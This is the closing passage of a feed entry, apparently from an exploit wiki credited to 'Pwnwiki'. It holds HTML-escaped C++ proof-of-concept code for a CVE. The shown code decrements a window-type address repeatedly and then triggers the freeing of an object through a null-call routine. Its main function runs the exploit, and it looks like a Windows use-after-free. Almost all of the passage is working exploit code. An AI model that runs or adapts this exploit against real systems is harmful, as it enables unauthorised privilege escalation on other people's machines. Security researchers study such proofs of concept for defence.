    changeaddrdecr(addrdecr);&lt;br /&gt;
    decr(hInst, addrdecr);&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Begin the decrement of the type&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    // we change the decrement for setting the type of the window&lt;br /&gt;
    addrdecr--;&lt;br /&gt;
    // not sure if it's really useful&lt;br /&gt;
    prepdecr(hInst);&lt;br /&gt;
&lt;br /&gt;
    changeaddrdecr(addrdecr);&lt;br /&gt;
    decr(hInst, addrdecr);&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Last decrementation done&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    // here the window to decr as the good value we need just now to delete it&lt;br /&gt;
    // via the call to link window&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;Before : Triger the deletion of the free type&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
&lt;br /&gt;
    callnull(hInst, addrdecr);&lt;br /&gt;
&lt;br /&gt;
    std::cout &amp;lt;&amp;lt; &amp;quot;End&amp;quot; &amp;lt;&amp;lt; std::endl;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main()&lt;br /&gt;
{&lt;br /&gt;
    cve();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>